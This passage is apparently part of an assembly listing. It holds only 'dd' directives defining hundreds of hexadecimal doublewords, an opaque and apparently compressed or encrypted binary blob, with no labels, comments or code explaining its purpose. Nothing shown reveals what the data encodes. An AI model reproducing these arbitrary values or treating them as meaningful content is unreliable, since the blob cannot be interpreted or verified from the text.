		dd 230311E8h, 5BD24C30h, 0B0E8A097h, 5A8A098h, 0D4370734h
		dd 20358BB2h, 0EC0DC402h, 318E800h, 3C836F11h, 0B91200A1h
		dd 0B1437194h, 76003689h, 0C2230FC0h, 0FF4BA14h, 0ACFE2F70h
		dd 1588E200h, 32003A8Bh, 809DA2C8h, 49A03Dh, 0ECA11A74h
		dd 509E5CB9h, 32872900h, 0FF10280Ch, 81A60015h,	5854C35Eh
		dd 2000B22Ch, 5FB7DA36h, 3E94099Ah, 5EE09332h, 83F07072h
		dd 0E224B90Fh, 34801E1Ch, 5A7CA63Eh, 0AEF90312h, 1BCD0854h
		dd 0CA27F8E8h, 6AF59004h, 0BB878405h, 0B464FCE0h, 0E0C3C72h
		dd 0B844007Bh, 0C0507076h, 171EB4Ch, 8C66C700h,	8304A8D8h
		dd 0EAE90010h, 0C3FA3265h, 0E5005E75h, 186C644Bh, 6288E8h
		dd 98580F1Ah, 28682BF8h, 54059A0Eh, 66007C8Fh, 20CD02EBh
		dd 2D500E89h, 2098C75Fh, 1E00A2D7h, 9A84B58Ch, 0EC3EAh
		dd 4647BE66h, 4A4DBF83h, 0E81A0700h, 57ECF391h,	81C32C69h
		dd 7422097Ah, 0B5408300h, 0C0010A6Ch, 38F640Ch,	3DDCD0BAh
		dd 5CC10042h, 525051C3h, 8807EE66h, 942C4AE9h, 0DF2D62D0h
		dd 0BE5C0021h, 9EB0734Bh, 0AC3C6942h, 0F25850h,	0E23B358Dh
		dd 0FA01318Eh, 3463007Fh, 0D7EE56AAh, 3600A5B7h, 0C67835Ah
		dd 91D6F2h, 9A65E28Bh, 9F480DE0h, 0B3805107h, 0D9250F4Ch
		dd 2ED778C0h, 0C31328C0h, 0F99D00EDh, 434907D0h, 0A650545h
		dd 0C4C34E04h, 0E0158B0Bh, 0EA5657h, 3685944h, 30058B64h
		dd 3C148500h, 421904F2h, 0C4080F02h, 4B80A829h,	96E88031h
		dd 0AEE79404h, 0E7855491h, 0B27862C0h, 1859005Eh, 0FE6A8B29h
		dd 2713ABDh, 8624FF00h,	27C067C7h, 33CB0E68h, 88091DBh
		dd 0E8507417h, 62005AFCh, 0F207E688h, 97D36Bh, 51759BB4h
		dd 1457C922h, 0A2199513h, 0FBEE12h, 4CBBD4DEh, 600F713h
		dd 560B245Bh, 1CCB3A73h, 9F92EBA7h, 403B1F3Dh, 5C6ABA0Ah
		dd 3501FF4Fh, 93E1AA2Ch, 768006A6h, 8FB6751Bh, 503AC297h
		dd 11EC805Fh, 3CF40E61h, 582F0064h, 74C1487Fh, 80FAB89Fh
		dd 0FB4F7D00h, 9536D0D6h, 1E40087h, 2410497h, 0F5162575h
		dd 0C702F45Dh, 409AFC54h, 0EB4599h, 0F97C1A18h,	8A850B0Ch
		dd 0AA1E017Bh, 8D402E59h, 68EC552Dh, 57B3004Fh,	0E2AEC583h
		dd 343E1215h, 0F6D2AC75h, 0D840501Dh, 4C32FFB3h, 8A60083h
		dd 962E5CF6h, 8EF87193h, 221FEC7Ah, 0B44F4175h,	2B3960E4h
		dd 705F1BC2h, 0EF8F17Ch, 83F41D11h, 16158EA2h, 784C2DC0h
		dd 80005C4Ah, 58053B09h, 0EE7EBDD2h, 95043D28h,	0EFEB0B92h
		dd 0CADF1905h, 0A8963BC0h, 424B01D7h, 153B1249h, 0E10EF0A5h
		dd 683C7700h, 2E855274h, 7FD70059h, 756E8441h, 8006604h
		dd 4A92BE69h, 0E26B5B10h, 0F313E2E2h, 19C4B8DDh, 2C874C76h
		dd 2078840Eh, 0F4285E4h, 97801F10h, 41B42C3Dh, 18BC16AEh
		dd 45AC00BFh, 6E756F46h, 904F6400h, 0C27288Ah, 0B1383EFFh
		dd 96BD7800h, 50101560h, 5CBF5300h, 0FD702FC9h,	1A0B00A0h
		dd 0AB4C0503h, 1500CA8Ah, 121F71D1h, 2B50296h, 89F4F287h
		dd 0CAC00D14h, 680084E9h, 0A177EA90h, 490894h, 143EA259h
		dd 0A30C6674h, 314F300Eh, 1F35CFBDh, 50222C00h,	166856h
		dd 510EF57Ah, 0A0ED7E44h, 0B5022AB0h, 50093195h, 32836068h
		dd 0DB5D0303h, 0A559974h, 2EB20400h, 684C2B7Ah,	13D7614h
		dd 66400885h, 0CCA8D753h, 5C6761EDh, 0ACC01C20h, 6F05065h
		dd 62E1B857h, 1E00A03Ah, 6A04C80Eh, 3C8B421Ch, 1B808980h
		dd 472052D4h, 123B9028h, 9734CFAh, 0A94CFh, 53BE23F0h
		dd 85E0058h, 862A840Ch,	0F107B878h, 0A33C201Dh,	3410801Fh
		dd 5CD6490h, 364911A1h,	24810FA8h, 5B382C00h, 5F0265D4h
		dd 44BD2953h, 96C320h, 0B73490CAh, 72D652A8h, 789CF800h
		dd 0C1E5278Dh, 4CAAA012h, 0F613B888h, 0EC3700BEh, 9075DBD5h
		dd 741DCBF0h, 40036244h, 0D77C8B52h, 0AB782AB0h, 0D7A70397h
		dd 0CCD8A504h, 509D0C90h, 53710300h, 82FB37D6h,	562E003Eh
		dd 75662F0Fh, 54003BAAh, 0E0D63A90h, 0D7BC5Bh, 0A1AAC9Fh
		dd 4410044Fh, 0B34C8F00h, 0FE91C690h, 0EADCE9ADh, 0B8323D60h
		dd 0E6B90380h, 69283013h, 0F35FA401h, 25FF3BABh, 6103D0CBh
		dd 1CA70090h, 49E4491h,	34F66A71h, 0C028BB75h, 0C6FCE7A1h
		dd 0FBCD8204h, 81C00B21h, 79747C02h, 0A72E092Ah, 3E833807h
		dd 0B91570Dh, 0FB77001h, 80041D3Bh, 0DDCA0A89h,	1C3AFB7Ah
		dd 0C08DB370h, 0B979B528h, 0D8038BE2h, 0EBCE5798h, 7E2BE87Ch
		dd 384F0008h, 0C7060317h, 0D70096B5h, 885444A6h, 2901164h
		dd 2135E6Ch, 894193ADh,	0CF9BF0FDh, 0CB281D04h,	32805D55h
		dd 0BC035Ah, 5E6D9FD4h,	83D7E1D3h, 28AFEA00h, 0B73B677Ch
		dd 2D0E74C5h, 3AF03659h, 7720C00h, 0A8C37581h, 31A500F3h
		dd 0FDF9C6F8h, 5300707Eh, 0E98A5A77h, 0EF92A2h,	0F23A2C29h
		dd 0F8109C65h, 51541700h, 8A87C545h, 0D37BB4h, 52FB25D2h
		dd 9264F2C3h, 4B4AFC13h, 694CA600h, 841C10h, 9E5D738Bh
		dd 0F042BF19h, 0C8915500h, 5CCE2A7Ah, 18B91C53h, 35B8315h
		dd 0A3D8FED3h, 0F598E011h, 51A4042Ch, 89ABD00h,	7DB889h
		dd 20A359B0h, 0EC46C4BBh, 45D69300h, 0A78D69BAh, 477F3D4Bh
		dd 0AF5D2F83h, 4CE010ACh, 400051B6h, 0AD427BD8h, 3EB84323h
		dd 508E845Ch, 124080D6h, 0F33B558Dh, 0FFA48326h, 0C8DFC900h
		dd 680A11h, 0AC3EBDF0h,	0D6991401h, 1749FA00h, 0F3458AC0h
		dd 0A6C85CFEh, 16090173h, 28EB2280h, 0E1F7F8C6h, 1F60139h
		dd 88F4328Fh, 5A60F563h, 8721267Ch, 0DC20006Eh,	8056510Bh
		dd 0FC4DEC01h, 977BE983h, 3F876C0h, 0C909DB31h,	78803974h
		dd 3C00AC37h, 817A15E8h, 98427D63h, 0E9D000FEh,	4402701Fh
		dd 0E707EB49h, 72D5068Bh, 8A0D00BEh, 553A16h, 0FAED75F5h
		dd 615097E0h, 0C30045Ch, 5A0689D8h, 2890005Fh, 0B56D7E9h
		dd 42B85BC5h, 0DE1C5525h, 0BD340310h, 0B4EAB309h, 0F87877C1h
		dd 0EC00FCF9h, 0C2B2FFCEh, 0B8901548h, 69F70059h, 1680827h
		dd 2F000BD4h, 41EDCE80h, 152420h, 74664C94h, 1FFD389h
		dd 840F3A00h, 113FA9F4h, 0BFDE0096h, 0CA02A0CCh, 30005308h
		dd 0A30D1C64h, 9105CA5h, 0F34E8218h, 7DBA5080h,	2409D965h
		dd 8B14285Eh, 126D00CFh, 3A551D89h, 0E0835AEDh,	0E9A878F5h
		dd 6952A4F0h, 85C79900h, 77E80810h, 0F2C403AEh,	0F42133DEh
		dd 527D23D0h, 0E2399902h, 405A353Ch, 91A92C9h, 366E194Fh
		dd 16C0D08Fh, 0A3CDF841h, 2134F600h, 0F4107D2Ah, 0C94E00D4h
		dd 0E1665EE3h, 0F900E2B4h, 0F3BE9045h, 5D592F0h, 0ED8B9CB8h
		dd 0AFF7819Bh, 0CB4FF98Fh, 759733A8h, 4FAA5F2h,	0B73A2274h
		dd 84341F1Ch, 0BB38D840h, 3E7C92AEh, 5C00F2FEh,	82EFD7B1h
		dd 0F7031B31h, 24A0E742h, 150A0E8h, 0A798009Dh,	3EBF7DD8h
		dd 0F53F97B4h, 0FC53801Eh, 75A85BAFh, 0A4E300D7h, 886EA79Ch
		dd 0DF7C514Ch, 0B0465A07h
		dd 0ED08087h, 0FAE33C13h, 3D8B002Eh, 833F6052h,	0B80011EFh
		dd 0A608577Ah, 3E210429h, 0A0003A45h, 5FFC07B2h, 0EA096A55h
		dd 87067174h, 85600A53h, 1D33C25Eh, 81F2DD18h, 281536C4h
		dd 0F82CD589h, 0AC907784h, 0D30022FAh, 0A51DE87Eh, 5539D9h
		dd 0A4CFAAACh, 0B6AB362Ah, 4ED25005h, 7BC04B56h, 888CBh
		dd 0C80DF415h, 0C2F0110Ch, 28588D07h, 4540D8D6h, 4495ECh
		dd 6DDB35F6h, 0CF4130D2h, 9D71EB1Fh, 0EAB82280h, 3EAEE3h
		dd 44B4228h, 0AFAF9DFh,	8F6A3F00h, 8A587B9Fh, 54150027h
		dd 0C7642994h, 5B0033A7h, 1E759546h, 15A9Bh, 24871785h
		dd 36FF1491h, 0C306F400h, 8F75D6EAh, 0FA5E004Ah, 85F310D2h
		dd 2400CF3Ch, 93DBE848h, 0C65F49h, 0A73079D7h, 1FB9BF0h
		dd 2B887700h, 317B53BBh, 7557D6Eh, 0F96AB121h, 0D0F84768h
		dd 82F50928h, 29891600h, 9ECF0D45h, 0C001FEC8h,	0B94CB70h
		dd 0CD0099F4h, 517FEF62h, 0A15803h, 0E474B118h,	846C1614h
		dd 4F268BF0h, 0D2001180h, 0AD44C4DDh, 276F3CB7h, 0FC773E00h
		dd 10428EB2h, 0E9894A00h, 931675F2h, 157A25h, 6950C7B1h
		dd 23ABC28Fh, 5D400200h, 53992444h, 0DF785C41h,	0D2F63200h
		dd 0D49B0309h, 864630Fh, 69FF000Bh, 44CFCCh, 0B94B851Ah
		dd 1452965Bh, 0E6BA5600h, 13505358h, 9C780089h,	4AA574F1h
		dd 310229BEh, 8D2A0746h, 45244054h, 37120143h, 3570A985h
		dd 7378F456h, 74160800h, 9CAE0D24h, 9A5E0EE4h, 834023A0h
		dd 0BF42AAA9h, 21D62D00h, 0C5521ACAh, 6A290007h, 0C6644367h
		dd 0CF0034AAh, 5076A3B3h, 3C20614h, 0A6F0997h, 0CAA11A9Ch
		dd 983DF005h, 165C6B7Bh, 15C500E7h, 6EC81D33h, 45ED3D3Bh
		dd 59348200h, 5B782406h, 744A6000h, 63C27A12h, 10771Fh
		dd 64B82D15h, 0E719BB77h, 0B40A7200h, 9427F8FCh, 807100E0h
		dd 3C6C37D2h, 0E20085F5h, 0FB876B8Dh, 0FC097Dh,	0CEFAC922h
		dd 0B39AC574h, 9CD55A00h, 0EF4903E8h, 2B120F5Dh, 0D0944BC7h
		dd 80D7B31Fh, 6D20D429h, 7807431Fh, 94FBA538h, 56E2B800h
		dd 0D25A000Eh, 0E4471019h, 66037488h, 0A1E614C5h, 0F26F935h
		dd 0A8AEB40h, 2851001Ch, 90135D1Dh, 0E200143Ch,	72A0DC24h
		dd 0BF8215B0h, 1EEAAF8h, 28037575h, 835C3C2Ah, 0C076FA2Dh
		dd 50C065h, 2143BE8h, 0D344E7B1h, 0DC199C00h, 921C298Dh
		dd 0A94909D4h, 0EC83A116h, 4EE05DAFh, 3E7EB089h, 33705700h
		dd 3593D588h, 97B50369h, 2C5F256Fh, 2B29C7A8h, 34A1A400h
		dd 525BDB8Ah, 0E391006Eh, 882FB580h, 4200D621h,	0D0396147h
		dd 675B0Ah, 689FC274h, 282D35D2h, 88595D16h, 389E991Ch
		dd 601CA18Fh, 10FAE72Ch, 1E3700F1h, 96303611h, 6800C020h
		dd 80284D53h, 979EA5h, 184FEA8Fh, 0E555012Bh, 0C7521400h
		dd 8BEC04F4h, 947A35h, 0D025608Ah, 9B2341BEh, 9864B600h
		dd 8B16116Ch, 53040748h, 62F5AB7Dh, 9E02368h, 0DF0093F7h
		dd 0D89DBFEDh, 0EAD544FEh, 89AA00A3h, 40191802h, 58001A10h
		dd 32C78E66h, 0B92B16h,	68444260h, 73CA11ACh, 3326040Fh
		dd 5AF9E00Ah, 8E3210h, 89D02B09h, 0E299868Ah, 688BD100h
		dd 98FF85F6h, 0C4C500F7h, 54913CA3h, 41003BEBh,	0A5C70334h
		dd 1DEE6151h, 40AD5708h, 8045A268h, 6C243B33h, 0C0F7B24h
		dd 855E20F8h, 1E12DB9Ch, 0CEB28B61h, 378040A3h,	3DAB0813h
		dd 6F07100h, 0C65C035Dh, 51EB002Fh, 0D9981B7Fh,	0DC3FEA46h
		dd 0C8D200FAh, 0A44B6BE9h, 5E7600B5h, 6240FF38h, 0E800C1C2h
		dd 8474DB42h, 72011Fh, 0A048F723h, 11EB03E9h, 99FCBD07h
		dd 0A1C0C266h, 0FE38019Dh, 90680015h, 0D3BF976Bh, 4B07C837h
		dd 0A91EB06Eh, 142559C0h, 0FCBC015Dh, 0F1D03449h, 0C38D033h
		dd 22E4E21Dh, 6E7DDBC0h, 7E1960Bh, 2F571327h, 51B8E010h
		dd 9E3E18C0h, 21C026Dh,	0E06FE80Bh, 4E1660h, 0BA673021h
		dd 0E52E70A4h, 8CBBE000h, 85340F0Ah, 0E3C001EEh, 22A05CA1h
		dd 18C4D428h, 2052E51Eh, 2B27C880h, 0EFD00Ah, 0BE848D4Fh
		dd 0C7751D83h, 0A5F2D700h, 0FEF40E48h, 67397BE9h, 0A021C80Dh
		dd 5F0B0CA8h, 0D55EECFDh, 4B04E600h, 0B057A384h, 972D00E1h
		dd 70895130h, 94900853h, 5C81B800h, 0EA18212Bh,	4352008Eh
		dd 9747DE1Dh, 95009436h, 0A1F146A9h, 9685502h, 927C86DDh
		dd 0BC210B80h, 563C75FDh, 0C289F3Dh, 0E91EF8C0h, 79ECA419h
		dd 30C700F5h, 0AFAA50BCh, 4C00C641h, 0B82386D6h, 3ACF28h
		dd 6760C5F0h, 169A310Dh, 0FA4FFF26h, 50808303h,	99E8C83Bh
		dd 0CEA0078h, 0FF892EE4h, 88A0877Bh, 0B77DAFF4h, 0B6902501h
		dd 0DADF4CD4h, 0E479B70h, 0D36948B9h, 0B8181B00h, 410578A4h
		dd 0BA1C09A0h, 359ACE80h, 5B30007Dh, 80B81E20h,	85E2E576h
		dd 22B0D00h, 0FFFEC63Dh, 0FD250016h, 0AEB617B4h, 580078C0h
		dd 5E306840h, 1500E87h,	21B3EDEBh, 0F1B28C91h, 0CCD721CBh
		dd 2B005A75h, 6A151F5Ch, 90D4B957h, 3B9607AEh, 677AFACDh
		dd 6D33A0E7h, 8A006AEBh, 1C781532h, 328890Ah, 18452059h
		dd 1DE8F0FBh, 4A7AC7EAh, 80006BF6h, 1CC20978h, 3D1FB80Fh
		dd 0E85F425Bh, 0F82B007Eh, 103D2583h, 0A3750F44h, 6467D462h
		dd 0C71103Ch, 1700EAB9h, 0CBD53E13h, 0BA3B009h,	6167DD1h
		dd 404B5A07h, 0C9250C15h, 3910171Eh, 0B56CE140h, 51B7C4h
		dd 6348921Eh, 82A5083Dh, 8014773Ch, 0E5EB4A17h,	2CE3124Eh
		dd 0E1C399h, 2FE81504h,	3B72DFEEh, 1B29DB1Ch, 0E0A6058Fh
		dd 79B5767Dh, 0FC4400A4h, 7068D9FEh, 0A200854Ch, 2F20D20Bh
		dd 3A8A1Fh, 42C74555h, 0E932BB3Ch, 150C181Dh, 4FCB7A40h
		dd 0ED3AC71h, 0C2C38449h, 37568D80h, 0A1003805h, 0C926486Ch
		dd 2D60E4h, 68301E40h, 8528A0FFh, 0A8B20100h, 0B4D7504Ch
		dd 6BC00ABh, 0CAC13994h, 14003589h, 54886D45h, 2AA450h
		dd 48992FB0h, 0EB89E02Dh, 39E6B00h, 0CB612CCAh,	0FA3D003Bh
		dd 99407422h, 4F1E086Dh, 2B001B93h, 0E78253E3h,	9550247Ah
		dd 3FF30052h, 0FCC8BAB2h, 16F6AD0Fh, 0ACB3C7CBh, 40CC4830h
		dd 29A300A2h, 1D880201h, 17003A8Ch, 28262CB8h, 0A0BD98h
		dd 0BC07C341h, 84CC501Ah, 9CDB4E00h, 635EAFE9h,	2E47AE3h
		dd 0C95A8A26h, 70C3ED7Fh, 5EC0CB98h, 0AC9E2C3Dh, 900480B6h
		dd 5AC02D89h, 98ECCEF6h, 586179F5h, 2008DBDh, 898F0C6Dh
		dd 0FC002938h, 4F63CE5Eh, 0A32630h, 0C273A517h,	25228A6Bh
		dd 0F90068EAh, 0CCEAD723h, 6AFDE6h, 8AE7C928h, 0A581CE09h
		dd 2CE6DA79h, 87170501h, 350304CCh, 0C037C03Bh,	3800E87Fh
		dd 0C7014EBDh, 3F7794h,	0AC9E6C7Bh, 97E548AEh, 68335500h
		dd 720AF2C1h, 0D4C40BC8h, 80D753E7h, 711F1C24h,	766C0012h
		dd 4BBC324Fh, 0A50014D1h, 0C8D8D707h, 6457EAh, 1328F7E4h
		dd 8FCA2443h, 763D2673h, 62960090h, 0AFD394FDh,	0F3010069h
		dd 672710B8h, 0DEFC5B9Ah, 250066F0h, 1904532Dh,	451586h
		dd 96BAB30Eh, 4F52A985h, 1DC2F94Ch, 0B05F07EBh,	7800CA2Ch
		dd 17883CE5h, 5B2F0769h, 203064C0h, 0ADA454A8h,	0B9E5A207h
		dd 8DC71087h, 6E2F8190h, 2D2B00BEh, 0CD3788B0h,	4C025A8Ch
		dd 0CF584A1Ah, 52F080A7h, 0C6F87Bh, 0D1940584h,	4A0F7D44h
		dd 0A30FDBB8h, 0A0A15111h, 0B25D64AFh, 6BDF00A6h, 6A5FD289h
		dd 0D1CE3C5h, 75809B7Eh, 0ECFFF4A2h, 32A7E16h, 64971310h
		dd 12E0ABBDh, 930C74Ch
		dd 0B1C8CC8Dh, 7645002Ch, 8697E23Fh, 2A0013EBh,	52ACF19Fh
		dd 50F9D4h, 0A9837D55h,	0A87A1F6Bh, 0B24248h, 0A7C3DE2Ah
		dd 3C11297h, 0F0072809h, 0C50AEEh, 521502E1h, 0A012DA55h
		dd 8301A6A5h, 9CFF305Ch, 3C1B7BCCh, 7FC1486h, 1CF83101h
		dd 0C21AF052h, 0EA01C1D0h, 0B52C0318h, 0EBE99473h, 0AD5CE0h
		dd 0A549774Bh, 0AE752E08h, 0D65BE900h, 2DAB5612h, 1657824h
		dd 0F85AD836h, 0E43C5EC7h, 0E00B414h, 95FFE843h, 20A889h
		dd 8D5CEA9Bh, 0C8B3A7F6h, 7275C312h, 0C0331FEFh, 11801CA3h
		dd 8474100Bh, 9E7E8C3Bh, 30007958h, 86C3298Ah, 34220064h
		dd 6C2BC187h, 1C00237Fh, 0B393BA8Eh, 3CF5F84Ah,	0F513E5h
		dd 1930F2E8h, 488A3C53h, 6A0012FAh, 0AE16D41Ch,	0D641F8h
		dd 172DF2BCh, 0F7143A03h, 6F88C401h, 10086977h,	7E297Ch
		dd 20C58319h, 0DC7E1C5Ah, 0AAB8C407h, 0A0B0F5D3h, 1F928E08h
		dd 408B7552h, 0D74D2C14h, 0F81FE297h, 87814E10h, 64C10508h
		dd 7256E4h, 0BE13D44Fh,	331C9D54h, 6B007F71h, 0F7E623D3h
		dd 92EB8F0h, 52843CBAh,	10213C87h, 958F90B9h, 91921D0Bh
		dd 80B68B09h, 98048BEFh, 396D39D3h, 0F3D55580h,	523C76B9h
		dd 0DBC0E00h, 510203C4h, 0C23B3E0Ah, 7BD31080h,	40143B0h
		dd 0EB349A1Eh, 0F8E76783h, 14B3CF60h, 8305F898h, 750F00FBh
		dd 0ECCC72B7h, 1982BCEh, 829F3Eh, 1B4A6C84h, 13A2A39Eh
		dd 0B1DC96h, 98957FD2h,	0C80238D4h, 30B4D26Ch, 4201E022h
		dd 34990004h, 8C5F3FB8h, 7E001F0Ch, 9AA2FF24h, 1F49D85h
		dd 0EB0BE4EAh, 0D0A1154Eh, 0F600DA3Bh, 8273E90Dh, 3D6F44h
		dd 0A0B33F4Ah, 6540CE5Bh, 80B9101h, 0E5ADF0D2h,	0F034B7FCh
		dd 0C59C01AEh, 891245D8h, 28CD4098h, 92009A9Dh,	0F529B23Ch
		dd 39CD042h, 0CA6846BFh, 89F8210Dh, 0F1039659h,	0B1C2B0D4h
		dd 6D6FE0EBh, 412607B4h, 0D017D93Ch, 0F4373266h, 0EC99DD00h
		dd 4D7249C8h, 197002FEh, 20A1824Ch, 7E023AE0h, 0B583C700h
		dd 8C2A8D58h, 27230054h, 0F2A5299Fh, 800BAC2h, 0B4A93ADFh
		dd 6BA41Ch, 802DEB43h, 5134C3A6h, 5F60FF01h, 70E0609h
		dd 3E4287D8h, 25010215h, 911F6850h, 0DB83E055h,	2FB97B00h
		dd 567E7ADAh, 0C89C074Dh, 1F5D5CE0h, 38C75060h,	0EFE8588Ah
		dd 5A260D01h, 32205F74h, 15A5B340h, 10240009h, 438D55C1h
		dd 3600352Ah, 19AAA034h, 900D9EFAh, 2C493926h, 44A94603h
		dd 9A984B81h, 0EC0F7D38h, 0E5197515h, 0F38009D4h, 170880h
		dd 2EAF2695h, 4CA7101Ch, 0EC3C2207h, 9F0402Ah, 0C777E8h
		dd 99A152BDh, 0C612B39h, 30500600h, 6BE6AEBCh, 29E00DBh
		dd 0A02174C7h, 0B70B0F1Ah, 80A41840h, 177C610Fh, 160A005Ch
		dd 7EC05FC9h, 0EB0097F4h, 34502CBEh, 5864BBh, 698592A8h
		dd 94A791DBh, 9522721Eh, 8EF6BD80h, 3DD1DDDAh, 8C004BD7h
		dd 2C0806A4h, 89030984h, 55437850h, 0E06AB830h,	2F1D00EEh
		dd 0FCDEC301h, 4000DFCBh, 0B7C766EBh, 0FC0A9E0Ch, 7F484h
		dd 144604DDh, 0A1081DD8h, 0F46F2439h, 0FF00FBFCh, 6DA1876h
		dd 1D8E7F78h, 40CF8B7Bh, 0D04AA613h, 0B300DDFAh, 0B871F7C2h
		dd 1CB4AF4Bh, 3FCC0619h, 4C358B80h, 214A7E64h, 9A07787Ch
		dd 0E8BC5C0Ah, 0F0F87CE0h, 0C54F07B2h, 80477349h, 0ED84B90Dh
		dd 8C7A8616h, 0A1F03400h, 167F425h, 2F2DC55Fh, 0F59E8351h
		dd 6688F405h, 53153707h, 24E57593h, 8B3BB0C0h, 5AF10728h
		dd 0E0609749h, 365D3857h, 3F529B00h, 0CF4404B4h, 0A3EA5Ch
		dd 0B24E944Ah, 21565762h, 0EA73AE00h, 381625C4h, 8F1800D2h
		dd 4267E37h, 920E459Eh,	0C0318E2Fh, 4A0146E1h, 0F2EB004Fh
		dd 511DDA73h, 0C400132Ah, 79642FECh, 81D817h, 0B6B2ACF4h
		dd 2B334DCCh, 54B31D06h, 3BC51E0Ch, 119D211Ah, 89190034h
		dd 0D1AD0868h, 2CA92300h, 4930900Ah, 0D8C10F96h, 7F407E83h
		dd 70687705h, 0E0185E00h, 453020C8h, 28663B40h,	2B344207h
		dd 1525400Ch, 570F12BEh, 0FD23BB8Eh, 0BA9FC783h, 0B745D0C9h
		dd 8FF092h, 0BF06CAB6h,	0C0DE2090h, 0D3FF1E00h,	0BDC8558Dh
		dd 6FC1007Eh, 29CC1317h, 561F6119h, 88000C49h, 35941D55h
		dd 89B0047h, 66929EA4h,	2116739Dh, 3D0029E2h, 97A38289h
		dd 68A200B4h, 579B6C4Ah, 553B9894h, 0B12400CAh,	589C5172h
		dd 3C0F7DEBh, 6A00F277h, 0CE70DD5Ah, 0E23D45AAh, 0D15C00A0h
		dd 0FCF57226h, 3446007Eh, 0DA4714F2h, 0F7F8F424h, 77AA1960h
		dd 2B9AF9h, 0DB99FE45h,	0B86F28AAh, 461B6000h, 0C8D42F20h
		dd 81080025h, 0ED0A2923h, 8CF05290h, 6A71140Bh,	1E43006Dh
		dd 0F1811EAh, 0FCA2E953h, 0A09F13C3h, 88F680A7h, 0E800B0ECh
		dd 66A05F1h, 2413CE5Eh,	0AD6C7Ch, 59A94E82h, 0A20E9048h
		dd 40A14434h, 2058B9A4h, 5EA5008Ah, 0CBAB920Fh,	0DD0124C8h
		dd 52501121h, 25611C18h, 2E745E0h, 0F5289833h, 0DD601D02h
		dd 0F978DD31h, 0F048998h, 820CD054h, 8AD5B080h,	24B70037h
		dd 49E65906h, 630061BFh, 0AE121D58h, 980E4427h,	0E8DE4A4Dh
		dd 0BE870001h, 89DFFBFAh, 0C18500CFh, 151F57FEh, 67008F17h
		dd 0B9EF4548h, 8FC0Bh, 1C5DCAFAh, 3E9E055h, 0A468D900h
		dd 81D4B785h, 0C4900029h, 21718A23h, 38054424h,	5EEE1D0Fh
		dd 0AA1ACBC0h, 0C4AD0064h, 0A5949E51h, 7B1E09FFh, 0F5DE421Ch
		dd 6843AEC0h, 0E1F532Ch, 0A8DBC816h, 0BAD61C61h, 0F12AF024h
		dd 810726FEh, 31400689h, 0DA534540h, 3421001Bh,	381CDE71h
		dd 0F200C485h, 11173C72h, 744C8EEh, 23E2475Ch, 9D13604Ch
		dd 0E54C49E4h, 0B2F1E4Eh, 0BE644AC2h, 84F5403Eh, 4B345C56h
		dd 50B8BB00h, 60318925h, 7327EB00h, 3D80DE04h, 20BA008Ch
		dd 37E805CCh, 8D0093F1h, 10739BC7h, 8B9A0Dh, 5CCDD5C8h
		dd 2E4104E4h, 79656B00h, 0C4D9F5C2h, 0F0723967h, 6C696687h
		dd 5C30F0EBh, 0D0094C0h, 0E0221E75h, 7542320h, 8A53C379h
		dd 70818027h, 9300B57Ah, 9A61F265h, 6ED60Eh, 196D323Eh
		dd 77592B68h, 7DB7BF00h, 0DC25E1Fh, 0D60401C6h,	0C08B4281h
		dd 109560F8h, 5407ECF0h, 49EAAF97h, 8E41D0C0h, 8C8B0380h
		dd 23DD5CF4h, 58D89490h, 52510F00h, 9FB35D2h, 0E68E009Ah
		dd 0A6E9661h, 3000C481h, 604FC319h, 158D13h, 23515092h
		dd 0AD90BC10h, 0A38A900h, 21DFDAEh, 89D838FEh, 0C108071Eh
		dd 14100E0Ch, 207D2016h, 0E09FBE70h, 7A706014h,	0C0A00380h
		dd 910129E0h, 44022290h, 89040300h, 18251505h, 310E214h
		dd 84820636h, 0A9309E2h, 0CB30BA3h, 0ED30DC3h, 10F30FE3h
		dd 80A711F1h, 51C1124Eh, 0E56D18Bh, 5780882Eh, 44A3900h
		dd 53063572h, 0A09DF8BEh, 188A00B8h, 5C882840h,	0AA009CADh
		dd 5808420Bh, 0E6D8B7CBh, 318107EEh, 0E04FFFE7h, 47AFCC7h
		dd 0FE031B00h, 5CD72F89h, 783B6014h, 9A0FD273h,	27017279h
		dd 0CE2B1080h, 70D4E8D3h, 790101A4h, 9125CF37h,	0B9803E0Ch
		dd 896182h, 0B5595E3Eh,	32DC1F6Ah, 7FC0AD1Fh, 0EBBC8100h
		dd 7911ABBh, 17410D88h,	8C1E6082h, 29000525h, 2402D6F8h
		dd 0C82D66h, 505553B4h,	22579856h, 0F00FB901h, 612EA2AAh
		dd 0B89D8DE0h, 0F6810054h, 0BC8BABF3h, 3E00E92Fh, 0F4EE3B13h
		dd 5E76F0h, 5A8FD15h, 8C5C8B38h, 4CFC831Ch, 40430800h
		dd 6089C53Bh, 0B9EBE819h, 0D006117h, 0F7282474h, 7440698h
		dd 62336815h, 0C71CD0FFh
		dd 17CC849h, 890080ECh,	656A8D18h, 0E0142708h, 2C340696h
		dd 0D403E0D3h, 13DE8100h, 0C43EF101h, 5187000Fh, 30B5788Eh
		dd 0A870EC7Eh, 33C5D00h, 10F983C3h, 27DB0h, 6C24C040h
		dd 758B4D7Ch, 6DC9A41Fh, 0ED9CE6C1h, 0C1C848BAh, 1AEE0062h
		dd 3E8025CEh, 300CB2Bh,	0D88A28FBh, 0DAE9B9h, 0BD766C89h
		dd 3981BF34h, 0BB661007h, 89FB0714h, 0CA70809Bh, 320FE49h
		dd 7B4ED87Dh, 0EAF0DFAAh, 4A00A284h, 401A025Dh,	5FC49h
		dd 7E09CA32h, 299BA9B5h, 0F049800h, 4295628Dh, 0FF960367h
		dd 320DC0B6h, 26985B98h, 1F046973h, 23824B11h, 61C98B80h
		dd 0F13B1EEDh, 26807EB4h, 0C12FC88Ah, 4200229Fh, 8F2A8894h
		dd 84BA6Ch, 0C896809h, 373B0D87h, 0BCE2B328h, 47210A1Fh
		dd 1F4C5E67h, 0FAC89741h, 0B0AD3800h, 0BD1C01h,	579CFFD4h
		dd 788306C7h, 7208C100h, 8AA0EF30h, 26410111h, 0BE055488h
		dd 0E648DCFBh, 8E12400h, 14CA6AE2h, 0DB00950h, 0B680F8C2h
		dd 7817AEEFh, 7334F900h, 2EFC27D0h, 1FC4E24Ch, 4280CA2Bh
		dd 0E325DC49h, 5CA65AC0h, 64A42201h, 29279612h,	80C8D4h
		dd 0DCC0E407h, 111C8A1Eh, 0EBD38700h, 2C46103Bh, 0C30A3973h
		dd 0D21B2800h, 0F3FF9278h, 30143F00h, 2FD707AFh, 208C0ABDh
		dd 1F8E3418h, 38818108h, 0DC110D12h, 2EF03C02h,	0E8B0F00h
		dd 843079C9h, 896F00FAh, 961C410Ah, 431F18B9h, 0E680C371h
